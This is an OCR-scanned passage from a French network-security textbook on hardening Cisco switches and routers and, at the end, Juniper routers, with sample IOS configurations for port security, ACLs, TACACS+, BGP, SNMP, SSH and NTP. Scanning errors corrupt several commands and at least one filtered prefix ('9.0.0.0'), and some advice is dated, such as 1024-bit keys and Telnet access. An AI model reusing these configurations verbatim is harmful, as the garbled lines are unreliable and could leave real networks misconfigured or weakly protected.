La configuration des equipements reseau est un aspect majeur de la securite des reseaux. 
Une configuration reseau doit refleter l'application d'une politique de securite. 

Nous decrivons dans cette section les elements de securite des configurations des 
commutateurs et des routeurs. 



Configuration des commutateurs Cisco 

Les commutateurs locaux agissent au niveau 2 afln d'agreger les acces des LAN en utilisant 
generalement des fonctionnalites de type VLAN (Virtual Local Area Network) pour isoler 
ou creer des domaines reseau. Les VLAN ont ete con^us pour offrir un mecanisme d'isola- 
tion de traflc, mais ils ne fournissent aucun mecanisme de securite a proprement parler. 

Nous detaillons dans cette section un ensemble de regies de configuration permettant de 
deflnir une politique de configuration adaptee. Nous prenons appui pour cela sur une 
implementation Cisco IOS. Les commutateurs peuvent etre deployes a partir des syste- 
mes d'exploitation IOS et CatOS. L' integration des fonctionnalites VLAN des couches 2 
et 3 au sein de 1'IOS permet de creer un modele hybride fonde sur les interfaces physi- 
ques et logiques (Switch Virtual Interface), comme l'illustre la figure 9.3. 
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Commutateur 



Interface vlan 2 
ip address ... 

interface vlan 3 
ip address ... 

interface vlan 4 
ip address ... 



Routage niveau3 



SVI 
(Switch Virtual Interface) 




Acces niveau 2 



Acces physique 



VLAN 4 



Commutateur 



Figure 9.3 

Principes d'un commutateur de niveaux 2 et 3 



L' integration d'un module de routage dans ce type de commutateur est dangereuse par 
nature et peut mettre en peril 1' isolation de niveau 2 des VLAN. Les regies et les controles 
sur les configurations de ces commutateurs doivent done etre particulierement strictes. 

Dans les sections suivantes, la configuration specifique a la protection du commutateur 
est detaillee de facon a adresser les besoins de securite de la maniere la plus precise 
possible. Pour les elements generiques, le lecteur se referera a la section relative a la 
securite des configurations des routeurs Cisco, un peu plus loin dans ce chapitre. 

Ports d'acces au commutateur 

De nombreuses attaques visent les ports d'acces au commutateur, tels la falsification 
d'adresse MAC, les attaques par saut de VLAN, etc. II est done essentiel de controler, 
pour chaque acces de port, le nombre de systemes rattaches, ainsi que les adresses MAC 
autorisees a se connecter (les adresses MAC sont apprises de maniere statique ou dyna- 
mique, les deux modes pouvant cohabiter), comme l'illustre la commande suivante : 

/* Configure les adresses MAC de maniere dynamique */ 
interface FastEthernetO/1 
no ip address 

switchport port-security 
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/* Limite le nombre d'adresse MAC par port */ 
switchport port-security maximum 2 

/* Action en cas de violation d'une adresse MAC */ 
switchport port-security violation shutdown 

/* Force un nouvel apprentissage dynamique des adresses MAC 
/* apres 10 minutes d' inactivity */ 
switchport port-security aging time 10 
switchport port-security aging type inactivity 

/* Configure des adresses MAC de maniere statique */ 
switchport port-security mac-address xxxxxxxxxx 

La commande switchport port-security violation (restrict | protect | shutdown) 
permet, en cas de violation des adresses MAC (limite du nombre d' adresses MAC auto- 
risees atteinte ou adresses MAC non autorisees), soit de detruire le traflc ayant une 
adresse MAC inconnue (protect), soit de generer un compteur d'erreurs (restri ct), soit 
encore de bloquer le port du commutateur (shutdown). 

VTP (VLANTrunking Protocol) 

Ce protocole permet de realiser une gestion centralisee des VLAN sur un modele de type 
maitre/esclave. Les echanges de messages sont realises a l'aide de liens trunk dermis 
entre les commutateurs (un « trunk » est un lien point-a-point entre deux ports, generale- 
ment sur deux commutateurs differents). Par exemple, tous les commutateurs d'un meme 
domaine d' administration partagent leurs informations sur les VLAN. Plusieurs types 
d'attaques exploitent certaines faiblesses du protocole afln de modifier, par exemple, la 
configuration des VLAN. 

Bien que le protocole VTP simplifle 1' administration des VLAN, il introduit un ensemble 
de risques non negligeables. 

II est possible de desactiver le protocole VTP par le biais des commandes suivantes : 

no vtp mode 
no vtp password 
no vtp pruning 

Des domaines et des mots de passe peuvent aussi etre deflnis afln de renforcer la securite 
d' administration, comme ci-dessous : 



i 



Switch(config)# vtp domain xxxx 
Switch (config)# vtp password xxxxx 



DTP (Dynamic Trunking Protocol) 

Ce protocole permet de gerer de maniere automatique la configuration de ports en mode 
« trunk ». Par exemple, un port peut utiliser le protocole DTP pour negocier la mise en 
place d'un trunk avec un autre port. 
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Plusieurs types d'attaques exploitent certaines faiblesses du protocole afin d'ecouter, par 
exemple, 1' ensemble des VLAN dermis sur un commutateur. 

Un trunk represente done le canal par lequel transitent les trames des differents VLAN 
d'un commutateur vers un autre. Pour que les commutateurs sachent a quel VLAN appar- 
tient une trame, un etiquetage est necessaire. Les deux protocoles d'etiquetage utilises 
sont ISL (Cisco) et IEEE 802. lq. C'est ce dernier que nous utilisons, sous la denomina- 
tion dotlq. 

D'une maniere generate, il est preferable de ne pas utiliser le protocole DTP et de deflnir 
explicitement les interfaces de type trunk, comme dans les commandes suivantes : 

interface fastethernet 0/1 
no ip address 



swi 
swi 
swi 
swi 



tchport mode trunk 

tchport trunk encapsulation dotlq 

tchport trunk native vlan 100 

tchport trunk allowed vlan none 



swi tchport nonegotiate 

II convient en outre de deflnir explicitement les VLAN rattaches a un trunk donne, 
comme dans les commandes suivantes : 

interface fastethernet 0/2 
no ip address 
switchport mode trunk 
switchport trunk encapsulation dotlq 
switchport trunk native vlan 100 
switchport trunk allowed vlan 6, 10, 20, 101 
switchport nonegotiate 

Les autres interfaces doivent etre definies comme ne pouvant pas etre des trunks, comme 
dans les commandes suivantes : 

interface fastethernet 0/3 

switchport mode access 
switchport access vlan 101 
switchport port-security maximum 2 
switchport port-security violation shutdown 
switchport port-security aging time 10 
switchport port-security aging type inactivity 
switchport nonegotiate 

VLAN1 

Par defaut, Cisco utilise le VLAN1 pour as signer les ports du commutateur ainsi que son 
administration. Ce VLAN est utilise par defaut pour faire transiter sur des trunks des 
protocoles tels que CDP et VTP. 

Pour eviter toute erreur, les commandes suivantes renforcent la securite de 1' administra- 
tion du commutateur : 



228 



Tableaux de bord de la securite reseau 



interface vlanl 

no ip address 
shutdown 

interface vlan6 

description administration 

ip address 10.1.1.200 255.255.255.0 

ip access-group xx in 

no ip di rected-broadcast 

no ip redirects 

no ip route-cache 

interface fastethernet 0/4 

description administration 
no ip address 
switchport mode access 
switchport access vlan 6 
switchport port-security maximum 2 
switchport port-security violation shutdown 
switchport port-security aging time 10 
switchport port-security aging type inactivity 
switchport nonegotiate 



STP (Spanning Tree Protocol) 

Ce protocole permet de gerer de maniere automatique les problemes de bouclage dans un 
domaine de commutateurs. Des boucles peuvent notamment apparaitre lorsque des chemins 
redondants ont ete configures pour assurer la disponibilite et la resilience du reseau de 
commutateurs. Plusieurs types d'attaques exploitent certaines faiblesses du protocole afin 
de modifier, par exemple, les topologies STP et de detourner des flux de trafic. 

II est possible de s' assurer que des systemes attaches a des ports ne puissent modifier la 
topologie STP a l'aide de commandes de types « STP Portfast BPDU Guard » et « STP 
Root Guard », que nous ne detaillerons pas. 



Configuration des routeurs Cisco 

La demande grandissante de services reseau a des couts de plus en plus reduits pousse les 
operateurs de telecommunications et fournisseurs de solutions reseau a mutualiser 
reseaux et services au moyen d' architectures physiques partagees. II convient d'etre 
extremement prudent, voire carrement paranoi'aque, avec les configurations logiques des 
equipements censees traduire la politique de securite logique du reseau. 

Sans entrer dans des details techniques trop complexes, il va de soi qu'une mauvaise 
configuration sur un nceud reseau peut faire chuter des reseaux entiers par effet de domi- 
nos, pour peu qu'elle s'ajoute a des bogues des systemes d' exploitation s'executant sur 
les equipements reseau. 
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Les reseaux etant scannes en permanence par des individus aux objectifs varies, il 
convient d'etre particulierement vigilant avec ces configurations. 

Nous detaillons dans cette section un ensemble de regies de configuration permettant a 
chacun de definir une politique de configuration adaptee. Nous prenons appui pour cela 
sur une implementation Cisco. La configuration est eclatee en sous-sections, de fa^on a 
adresser les besoins de securite de la maniere la plus precise possible. 

Suivant les versions de 1'IOS de Cisco, la syntaxe des commandes de configuration peut 
changer et doit etre prise en compte dans la definition des regies de configuration. 

Nous definissons par l'expression ip_admin_range la plage d'adresses IP autorisees a 
acceder aux equipements a des fins d' administration reseau. 

Configuration generate des routeurs 

La configuration generale d'un routeur vise a definir les parametres et services globaux 
actifs suivants : 

• no service tcp-smal 1 -servers, no service udp-smal 1 -servers. Desactivent les 
services TCP et UDP echo, discard, daytime et chargen, qui ne sont pas utilises de 
maniere generale et peuvent permettre de recolter des informations utiles ou de lancer 
des attaques par deni de service. II est preferable que ces services a valeur ajoutee 
soient assures par un serveur dedie. 

• no ip bootp server. Permet de desactiver le service bootp, qui utilise le routeur pour 
recuperer des informations reseau et expose de ce fait ce dernier a des attaques par deni 
de service. Cette fonctionnalite agit de maniere identique au protocole RARP (Reverse 
Address Resolution Protocol) pour recuperer l'adresse IP ainsi que d'autres informations 
telles que la passerelle, etc. II est preferable qu'elle soit realisee par un serveur dedie. 

• no service d hep. Permet de desactiver le service DHCP. II est preferable que le routeur 
ne distribue pas les adresses de maniere dynamique, de fa^on a ne pas s'exposer a de 
possibles attaques par deni de service. Un serveur dedie peut jouer ce role. 

• no finger service, no identd service. Desactivent le service finger, qui permet 
d'obtenir des informations precieuses sur le systeme, telles que la liste des utilisateurs 
connectes, les noms des utilisateurs, etc. 

• no cdp run. Desactive le protocole CDP (Cisco Discovery Protocol), qui permet 
d'obtenir des informations tres utiles sur le reseau lui-meme et d'en deduire son archi- 
tecture. II peut etre utilise de maniere ponctuelle afin d' aider a la resolution de 
problemes reseau. 

• no ip http seryer. Desactive le serveur HTTP d' administration. Un routeur est un 
equipement de routage et doit le rester, de fa^on a limiter son domaine de responsabi- 
lite. II est preferable de s'orienter vers des acces d' administration fondes, par exemple, 
sur SSH. 
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• no ip source-route. Interdit les paquets routes depuis la source IP donnee par un 
paquet. Cette methode permet de detourner le protocole de routage standard prevu 
pour mener des attaques potentielles. 

• no boot network, no service conf ig. Desactivent le demarrage en telechargeant la 
configuration via le reseau. Par principe, toute configuration doit etre integree et ne pas 
s'exposer a des attaques de type man-in-the-middle, susceptibles de violer la chaine 
d'integrite des configurations de routeurs. 

• no service pad. Desactive le service X.25 PAD (Packet Assembler Disassembler). Le 
service PAD permet de realiser des acces Telnet sur l'equipement reseau. II faut done 
le desactiver par defaut, a moins de l'utiliser dans le cadre d'acces distants determines. 
Dans ce cas, un chiffrement et une authentiflcation forte de l'utilisateur sont requis. 

• service timestamps {log debug} datetime msec show-timezone local time. 
Active l'horodatage detaille des informations journalisees sur le routeur, informations 
fondamentales pour 1' investigation de securite. 

• service tcp-keepal i ves-in. Controle si les connexions (Telnet ou SSH, par 
exemple) sont encore actives afm d'eviter de bloquer tous les VTY (Virtual Teletype 
Terminal) disponibles avec des connexions dites orphelines, susceptibles d'etre utili- 
sees par des attaques. 

• no ip domain-lookup. Desactive les requetes DNS afln de limiter les informations 
fournies par l'equipement reseau. 

• enable secret <mot de pa sse>. Active un mot de passe (le mot de passe est passe au 
travers de la fonction de hachage MD5) arm de passer en mode enable (aussi appele 
pri vi 1 eged EXEC) ou administrateur. 

• service password-encryption. Active l'encodage des mots de passe non par la fonc- 
tion de hachage MD5 mais par l'algorithme de Vigenere au format type 7. Cet algo- 
rithmic etant reversible, de nombreux outils permettent de dechiffrer les mots de passe 
codes en mode 9. II est cependant necessaire de forcer ce chiffrement par defaut. 

• no service intercept. Desactive la detection d'attaques de type SYN flooding sur 
une plage d'adresses IP. L' experience montre qu'il est toujours preferable de ne pas 
activer cette fonction, en raison d' impacts possibles sur le routeur, accompagnees de 
limitations des detections d'attaques par flooding. 

Configuration des interfaces des routeurs 

Cette section detaille les configurations associees aux interfaces des routeurs. II s'agit des 
interfaces utilisees pour les connexions vers d'autres systemes ou routeurs. 

• no ip directed-broadcast. Cette commande desactive le Directed Broadcast. De la 
sorte, le routeur ne reagit pas aux paquets broadcast rectus pointant sur une adresse IP. 
Dans les dernieres versions, 1' option est positionnee par defaut sur une interface. Cela 
permet de se premunir des attaques par deni de service, smurf, etc., et evite que le 
reseau ne participe a ces attaques de maniere indirecte. 
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•no ip proxy-arp. Desactive le relayage de messages ARP (Address Resolution 
Protocol) sur de multiples segments de LAN. Cette option evite que le routeur, qui agit 
comme un intermediate pour les requetes ARP, ne casse un perimetre de securite en 
acceptant de maniere transparente des acces entre de multiples acces de LAN. 

• no ip redirects. Desactive l'envoi de messages ICMP Redirect. Cette option permet 
de se premunir contre les scannings fondes sur le protocole ICMP (Internet Control 
Message Protocol), lequel permet a un observateur de recolter des informations sur le 
reseau (topologie, regies de filtrage, etc.). 

• no ip unreachabl es. Desactive l'envoi de messages ICMP destination unreachable. 
Cette option permet de se premunir contre les balayages s'appuyant sur le protocole 
ICMP. 

• ip accounting access-violations. Active la comptabilisation des paquets IP qui 
violent les ACL. Cette option permet de mesurer ou de quantifier ces violations. 

• no ip mask-reply. Desactive les reponses aux messages ICMP mask-reply. Cette 
option permet de se premunir contre les balayages s'appuyant sur le protocole ICMP. 

• no cdp enabl e. Permet de desactiver CDP (Cisco Discovery Protocol). Ce protocole 
donne des informations tres utiles sur le reseau lui-meme et permet de deduire son 
architecture. II peut etre cependant utilise de maniere ponctuelle afln d' aider a la reso- 
lution de problemes reseau. 

Filtrage du trafic sur les interfaces 

Un flltre, ou ACL, doit etre implements en peripheric du reseau, c'est-a-dire sur toutes les 
interfaces ay ant des connexions vers l'exterieur. Cela permet de ne pas recevoir de trafic 
provenant de prefixes (classes d'adresses IP) non autorises ainsi que d'eviter que le 
reseau n'envoie des prefixes non autorises. 

Les lignes de configuration suivantes implemented des flltres sur les flux reseau que Ton 
peut appliquer au trafic entrant ou sortant d'une interface reseau donnee : 

/* Interface sur laquelle sera applique le filtre pour le trafic entrant (ingress) et 
sortant (egress) */ 
interface xy 

ip access-group 100 in 

ip access-group 100 out 

/* Elimination des prefixes non autorises fondes sur les classes d'adresses IP IANA */ 



access- 
access- 
access- 
access- 
access- 
access- 
access- 
access- 



ist 100 deny ip host 0.0.0.0 any 

1st 100 deny ip 127.0.0.0 0.255.255.255 any 

1st 100 deny ip 9.0.0.0 0.255.255.255 any 

1st 100 deny ip 172.16.0.0 0.15.255.255 any 

1st 100 deny ip 192.168.0.0 0.0.255.255 any 

ist 100 deny ip 192.0.2.0 0.0.0.255 any 

1st 100 deny ip 169.254.0.0 0.0.255.255 any 

ist 100 deny ip 240.0.0.0 15.255.255.255 any 
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/* Filtrage du trafic ICMP autorise */ 

access-list 100 deny icmp any any fragments 

access-list 100 permit icmp any any echo 

access-list 100 permit icmp any any echo-reply 

access-list 100 permit icmp any any packet-too-big 

access-list 100 permit icmp any any source-quench 

access-list 100 permit icmp any any time-exceeded 

access-list 100 deny icmp any any 

/* Autorisation de vos prefixes */ 

access-list 100 permit ip <prefixes autorises> <prefixes autorises> 

access-list 100 deny ip any any 



Configuration TACACS+ 

Le mot de passe d'un utilisateur peut etre stocke localement, generalement au format 
type 7 (code via l'algorithme de Vigenere), qui est reversible. Les versions recentes 
d'lOS supportent les mots de passe au format MD5 type 5, qui n'est pas reversible. 

Dans la configuration suivante, chaque utilisateur peut recevoir directement un niveau de 
privilege : 

username {nom} password 7 {mot de passe} [privilege {niveau}] 

II existe deux niveaux de privileges par defaut : User Exec (niveau 1) et Pri vi 1 ege Exec 
(niveau 15), d'une part, et enabl e, d' autre part. Les niveaux 2 a 14 ne sont pas utilises 
par defaut mais peuvent l'etre a condition de repartir les commandes sur ces niveaux. 

Parexemple, les commandes Telnet show access -1 ist ou show logging ne devraient pas 
etre accessibles a tous les utilisateurs. 

Les lignes de configuration ci-apres detaillent comment configurer des niveaux de 
privileges : 

/* Definition des commandes vues par le niveau de privileges 15 */ 

privilege exec level 15 telnet 

privilege exec level 15 show ip access-lists 

privilege exec level 15 show access-lists 

privilege exec level 15 show logging 

Les utilisateurs ne peuvent voir que les commandes qui sont disponibles dans leur 
niveau de privileges. Le flchier de configuration risque done de sembler incomplet a 
ces derniers. Bien qu'il soit possible de deflnir des utilisateurs directement dans la 
configuration d'un routeur, il est toujours plus sur (principe d' isolation) de deflnir les 
comptes utilisateur, mots de passe et niveaux de privileges sur un serveur TACACS+ 
ou RADIUS. 

L'exemple ci-dessous repose sur TACACS+. II est possible d'arriver quasiment a la 
meme solution avec RADIUS, mais au prix de quelques limitations sur la journalisation 
et 1' autorisation des commandes : 
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/* On definit 1 'authentification par le serveur TACACS+ ou par le compte enable 

si le TACACS+ n'est pas disponible */ 
aaa new-model 

aaa authentication login default group TACACS+ enable 
aaa authentication enable default group TACACS+ enable 

/* Definition de l'autorisation des commandes par le serveur TACACS+ ou par 

une configuration locale si le TACACS+ n'est pas disponible */ 
aaa authorization commands 15 default group TACACS+ local 

/* Definition de 1 'accounting associe au serveur TACACS+ et stockage des acces 

et des commandes passees sur le routeur */ 
aaa accounting exec default start-stop group TACACS+ 
aaa accounting commands 15 default stop-only group TACACS+ 

/* Definition des adresses IP des serveurs TACACS+ ainsi que des cles utilisees 

pour 1 'authentification des serveurs */ 
TACACS-server host {IP} 
TACACS-server key {cle} 

/* ACL limitee aux adresses d'administration */ 
access-list yy permit ip_admin_range 
access-list yy deny any 

/* Applique la methode d'authentification a une line */ 
1 ine vty x 

access-class yy in 

exec-timeout 15 

password 7 ... 

login authentication 

transport input telnet 

transport output none 

Configuration des protocoles de routage 

Les protocoles de routage necessitent d'etre proteges afln d'eviter tout impact sur les 
tables de routage du reseau. 

Voici un exemple de configuration du protocole de routage BGP (Border Gateway 
Protocol) : 

/* Definition du processus de routage BGP */ 
router bgp AS 

bgp log-neighbor-changes 

network x.x.x.x 

neighbor y.y.y.y remote-as AS 

/* Definition d'un mot de passe pour les sessions BGP */ 
neighbor y.y.y.y password <MD5password> 
neighbor y.y.y.y version 4 
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/* Definition d'un filtre pour le trafic de routage entrant et sortant */ 
neighbor y.y.y.y prefix-list leur-reseau in 
neighbor y.y.y.y prefix-list notre-reseau out 

/* Limitation du nombre de prefixes dans les tables de routage */ 
neighbor y.y.y.y maximum-prefix 120000 

/* Definition d'une politique de filtrage du trafic de routage */ 
neighbor y.y.y.y route-map autre-as in 
neighbor y.y.y.y route-map notre-as out 

/* Definition de la politique de filtrage limitee au filtrage des valeurs associees 

aux systemes autonomes */ 
route-map autre-as permit 10 
match as-path 98 

route-map notre-as permit 10 
match as-path 99 

/* ACL de filtrage des classes d'adresse IP */ 

ip prefix-list notre-reseau seq 5 permit z.z.z.z/17 

ip prefix-list notre-reseau seq 10 deny 0.0.0.0/0 le 32 

ip prefix-list leur-reseau seq 5 permit k.k.k.k/19 

ip prefix-list leur-reseau seq 10 deny 0.0.0.0/0 le 32 

/* ACL de filtrage des valeurs associees aux systemes autonomes fondee sur 

des expressions regulieres */ 
ip as-path access-list 98 permit A AS(_AS)*$ 
ip as-path access-list 99 permit A AS(_AS)*$ 



Configuration des protocoles de routage multicast 

Les protocoles de routage multicast necessitent d'etre proteges afln d'eviter tout impact 
sur les tables de routage du reseau. 

Void un exemple de configuration pour la protection de l'acces IGMP : 

/* Filter et autoriser les sources */ 

ip access-list extended authorized_Sources&Groups 

permit ip @ipS @netS @ipG @netG 

deny ip any any 

interface x 

ip igmp access-group authorized_Sources&Groups 

/* Filtrer et autoriser les seuls recepteurs */ 
access-list authorised_group permit @ipl @netl 
access-list authorised_group permit @ip2 @net2 
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access-list authorised_group deny any 



interface x 

ip igmp access-group authorised_group 

/* Configurer et appliquer des limitations aux protocoles de decouverte et de 

gestion de groupes */ 
ip igmp limit number 1 
ip mid state- limit numberZ 

interface x 

i p 1 gmp limit number3 

interface y 

ip mid 1 i mi t number4 

/* Limitation en debit */ 
interface x 

ip multicast rate-limit {in/out} group-list authorised_group source-list 
authorised_source packetrate 



/* Controle des groupes */ 

access-list authorised_group permit @ipG @netG 



/* Controle des sources */ 

access-list authorised_source permit @ipS @netS 

Voici un exemple de configuration pour la protection du protocole de routage intrado- 
maine PIM : 

/* Controle par configuration statique des adresses 
IP des voisins PIM */ 
access-list access-list-name permit @ip 
access-list access-list-name deny any 

interface x 

ip pirn neighbor-filter access-list-name 



/* Filtrage statique au niveau d'un DR. Controle par access-lists des adresses 

des groupes et/ou des 
sources multicast des paquets multicast */ 
ip access-list extended access-list-name 

permit ip @ipS @netS @ipG @netG 

deny ip any any 
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interface x 

ip access-group access-list-name in 



/* Filtrage des sources autorisees. II s'agit de restreindre au niveau du RP 
1 'espace d'adresses source duquel on accepte des messages PIM Register */ 

access-list access-list-name permit @ip 
access-list access-list-name deny any 



ip pirn accept-register {list access-list-name route-map map-name} 



/* Filtrage en entree sur une interface de tous les paquets PII 

protocole */ 
ip access-list extended filtrage-PIM 
deny 103 any any 

permit ip any any 

interface x 

ip access-group filtrage-PIM in 



fondes sur le champ 



/* Filtrage des sources et groupes a usage interne au domaine multicast par definition 
de "frontieres multicast" */ 

access-list access-list-name permit @ip 
access-list access-list-name deny any 



interface x 



ip multicast boundary access-list-name 



/* Controle au niveau d'une interface d'un routeur multicast du debit maximal auquel 
une source peut emettre du trafic sur un groupe */ 

ip multicast rate-limit {in out} group-list liste-groupe source-list liste-source 
rate 

access-list liste-groupe permit @ip 

access-list liste-groupe deny @ip 

access-list liste-source permit @ip 

access-list liste-source deny any 



/* Limitation du nombre de messages PIM Register par entree (S,G) 
encapsules par seconde par un routeur DR */ 
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ip pirn register-rate-limit register-rate 



/* Configuration du nombre maximal d'etats multicast (*,G) et (S,G) 

qui peuvent etre crees dans la table de routage multicast d'un routeur */ 
ip multicast route-limit routes-number 



Configuration SNMP 

Le protocole SNMP vl peut etre protege par trois elements, qu'il faut imperativement 
configurer afin d' assurer une securite minimale : 

snmp-server community {communaute} view {nom} RO/RW {ACL} 

Le premier champ correspond a la communaute SNMP. II ne doit pas etre trivial — de 
type private, public — et doit etre compose au minimum de 8 caracteres et chiffres 
calcules de maniere aleatoire. En SNMP vl, c'est la communaute qui fait office de mot 
de passe. 

Le deuxieme champ correspond aux options des droits d'acces, soit lecture seule, ou 
RO (Read Only), soit lecture-ecriture, ou RW (Read Write). II est fortement conseille 
de ne garder que 1' option RO afin d'eviter toute erreur volontaire ou involontaire 
d'ecriture. 

Le dernier champ correspond au filtrage des adresses IP autorisees a acceder a SNMP. 
Cette liste est generalement limitee aux adresses IP de la zone d' administration : 

/* Definition des communautes et des mots de passe dont l'acces est limite aux 

adresses d'administration */ 
snmp-server community r3ad view rolimited RO 10 
snmp-server view rolimited i p . 21 excluded 

snmp-server community write view rwlimited RW 10 
snmp-server view rwlimited sysUpTime included 
snmp-server view rwlimited ciscoPingMIB included 

snmp-server enable traps <...> 
snmp-server host x.x.x.x 
snmp-server source loopbackO 

/* ACL filtrant les adresses IP autorisees a acceder au service SNMP du routeur */ 
access-list 10 permit ip_admin_range 
access-list 10 deny any 



Configuration SSH (Secure Shell) 

L'exemple ci-dessous porte sur la configuration et 1' activation de SSH vl ou v2. 
L'authentiflcation des acces distants par cle ou par mot de passe depend de la methode 
utilisee pour administrer le reseau : 
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/* Attribution d'un nom au systeme */ 
hostname {nom} 

/* Renseignement du domaine DNS requis pour des sessions SSH */ 
ip domain-name {domaine} 

/* Generation d'une cle SSH avec des parametres optionnels */ 

crypto key generate rsa usage-keys label SSH modulus 1024 

ip ssh version 2 

ip ssh timeout 60 

ip ssh authentication-retries 3 

/* ACL 1 imi tee aux adresses d'administration */ 
access -list yy permit ip_admin_range 
access-list yy deny any log 

/* Autorisation de 1'acces SSH */ 
1 ine vty 4 

password 7 ... 

transport input SSH 

transport output none 

access-class yy in 

exec-timeout 15 



Configuration de la journalisation des evenements 

L'equipement ne conservant qu'une quantite limitee d' informations dans un tampon 
local volatil, il est extremement important d' envoy er les messages vers un systeme 
deporte executant le daemon syslog (UNIX, Windows 9x/NT/2K, etc.) arm de recevoir 
les journaux sur une plate-forme centrale. 

Les journaux peuvent faire l'objet de traitements en cas de probleme reseau ou d'investi- 
gation de securite : 

/* On s'assure que le processus de journalisation est a 1 'oeuvre au niveau du stockage 

local comme a celui des informations stockees */ 
no logging console 
logging on 

logging buffered 16384 debugging 
logging trap debugging 
logging console critical 
logging facility local 5 
logging source-interface loopbackO 
logging {IP} 

Configuration NTP (Network Time Protocol) 

Le temps, ou horloge, d'un equipement est fondamental pour la correlation des evene- 
ments reseau. Utile pour une investigation de securite ou de problemes purement reseau, 
1' architecture globale du protocole NTP s'appuie sur differents niveaux de bases de 
temps, ou strates. 
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L'exemple ci-dessous montre comment mettre en oeuvre la synchronisation via NTP en 
mode authentifie et au travers de filtres fondes sur des adresses IP : 

/* Definition du processus de base de temps fonde sur l'heure GMT, avec une 

authentification par cle et un filtrage sur les adresses IP autorisees */ 
clock timezone GMT 

ntp authentication-key {id} md5 {cle} 
ntp authenticate 
ntp trusted-key {id} 
ntp update-calendar 
ntp server {IP} 

ntp access-group {query-only serve-only serve peer} protect-ntp 
ntp source loopbackO 

/* Definition des classes d'adresses IP autorisees a echanger des messages NTP */ 
ip access-list standard protect-ntp 

permit ip_admin_range 

deny any 

Le protocole NTP permet de definir une architecture en niveaux (strates) autorisant la 
centralisation de la source emettrice de l'heure sur des systemes de grande precision, 
telle GPS. 

Configuration d'un message d'avertissement 

Voici un message type qui peut etre configure a l'aide de la commande suivante : 

banner motd 

L'acces a ce systeme n'est autorise qu'aux seuls personnels habilites. Toute tentative 

d'acces ou tout acces non autorise fera l'objet de poursuites conformement a la loi. 

Only authorized users can access this system. All attempts of intrusion or intrusions 
will be prosecuted according to laws. 



Configuration du controle du trafic a destination du routeur 

La protection du routeur ou des acces au routeur peut etre realisee par un mecanisme de 
controle du trafic. 

Comme l'illustre la figure 9.4, il est possible de proteger le plan de routage et d' adminis- 
tration d'un routeur. 

Les commandes Cisco suivantes permettent de mettre en oeuvre un tel mecanisme de 
securite : 

/* Definition d'une classification des paquets de donnees */ 
class-map <trafic_class_name> 

match <access-group protocol* ip prec ip dscp> 

/* Definition d'une politique de service */ 
pol 1 cy-map <servi ce_pol 1 cy_name> 
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Figure 9.4 

Controle du trafic a destination d'un routeur Cisco 



class <trafic_class_name> 

police <cir rate> conform-action <transmit drop > 
exceed-action <transmit drop> 

/* Configuration du mode de controle */ 
control -plane 

service-policy {input output} <service_pol icy_name> 



Les applications generiques suivantes qui necessitent 1' acces a un routeur doivent faire 
l'objet d'une classe : 

• protocol e de routage BGP (Border Gateway Protocol) ; 

• protocole de routage IGP (Interior Gateway Protocol) ; 

• traflcs destines a 1' administration, tels SSH, SNMP, NTP, etc. ; 

• traflcs a des fins de performances et de statistiques, tels que le trafic ICMP, etc. 

Configuration du controle des acces au routeur 

Cette section detaille les acces d' administration a un routeur et les protections a mettre en 
place pour se premunir de toute faiblesse de configuration sur une des parties les plus 
sensibles de la configuration des routeurs. 
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II existe plusieurs methodes pour se connecter a un equipement, soit directement par le 
port console, soit par le port AUX (generalement reserve aux acces modem), soit encore 
par le biais du reseau, au travers d'une interface VTY (Virtual Teletype Terminal) loop- 
back ou encore d'une interface dediee a 1' administration, dite hors bande {out- of -band). 

Dans les exemples ci-dessous, les connexions sont protegees par mot de passe — les 
authentiflcations de type TACACS+ sont toutefois preferables, car elles permettent de 
gerer des comptes individuels d' acces associes a des types de proflls dermis, dans 
lesquels les commandes autorisees sont clairement speciflees — et limitees ou restreintes 
a certains equipements. Des domaines d'autorite sur le reseau peuvent en outre etre defi- 
nis. On flltre ainsi les classes d'adresses IP autorisees a acceder au routeur, tout en limi- 
tant les temps de connexion au routeur sans activite. 

La commande line console permet d' acceder directement a 1' equipement a l'aide d'un 
terminal. Par defaut, on se protege au moyen des lignes de configuration suivantes : 

line con 

/* Definition d'un mot de passe local */ 
password 7 

/* Definition d'un temps maximal de connexion sans activite */ 
exec-timeout 15 

/* Interdiction de realiser des connexions sortantes */ 
transport output none 

La commande line aux permet d'acceder a l'equipement en general a l'aide d'un 
modem pour des acces de type secours. Par defaut, on se protege au moyen des lignes de 
configuration suivantes : 

1 ine aux 

/* Definition d'un mot de passe local */ 
password 7 

/* Definition d'un temps maximal de connexion sans activite */ 
exec-timeout 15 

/* Interdiction de realiser des connexions entrantes */ 
transport input none 



/* Interdiction de realiser des connexions sortantes */ 
transport output none 

La commande 1 i ne vty permet d'acceder a l'equipement, par exemple pour des besoins 
de service. Par defaut, on se protege au moyen des lignes de configuration suivantes : 

/* ACL limitee aux adresses d'administration */ 
access-list yy permit ip_admin_range 
access-list yy deny any log 
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line vty x 

/* Definition d'un mot de passe local */ 
password 7 

/* Filtrage des adresses IP autorisees a se connecter */ 
access-class yy in 

/* Definition d'un temps maximal de connexion sans activite */ 
exec-timeout 15 

/* Definition des protocoles autorises a se connecter */ 
transport input telnet ssh 

/* Interdiction de realiser des connexions sortantes */ 
transport output none 



Configuration des routeurs Juniper 

Nous detaillons dans cette section un ensemble de regies de configuration permettant de 
definir une politique de configuration adaptee a une implementation d'equipements de 
routage Juniper. 

Suivant les versions de Junos de Juniper, la syntaxe des commandes de configuration 
peut changer et doit etre prise en compte dans la definition des regies de configuration. 

Nous definissons par l'expression ip_admin_range la plage d'adresses IP autorisee a 
acceder aux equipements a des fins d' administration reseau. 

Configuration generate des routeurs 

Par defaut, les fonctions minimales de securite doivent etre activees (non-routage des 
flux broadcast diriges, acces a distance tels que Telnet, SSH, etc., acces en ecriture 
SNMP, etc.). 

La deactivation du source-routing interdit les paquets routes depuis la source IP donnee 
par un paquet (cette methode permet de detourner le protocole de routage standard prevu 
pour mener des attaques potentielles) : 

[edit] 
chassis { 

no-source-route ; 
} 

La deactivation des messages ICMP redirect permet de se premunir contre les scannings 
fondes sur le protocole ICMP (Internet Control Message Protocol), lequel permet a un 
observateur de recolter des informations utiles sur le reseau (topologie, regies de 
filtrage, etc.) : 



i 



[edit system] 
no-redirects ; 
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Pour desactiver 1 'envoi de messages ICMP redirect sur une interface, 11 faut utiliser 

la commande suivante : 

[edit interfaces interface-name unit logical -unit-number] 

family family { 
no-redirects ; 

} 
} 

La definition d'adresses martians (martiennes) de maniere generique peut etre utilisee 
par l'equipement reseau, notamment pour le routage : 

[edit] 

routing-options { 
martians { 

0.0.0.0/7 longer ; 

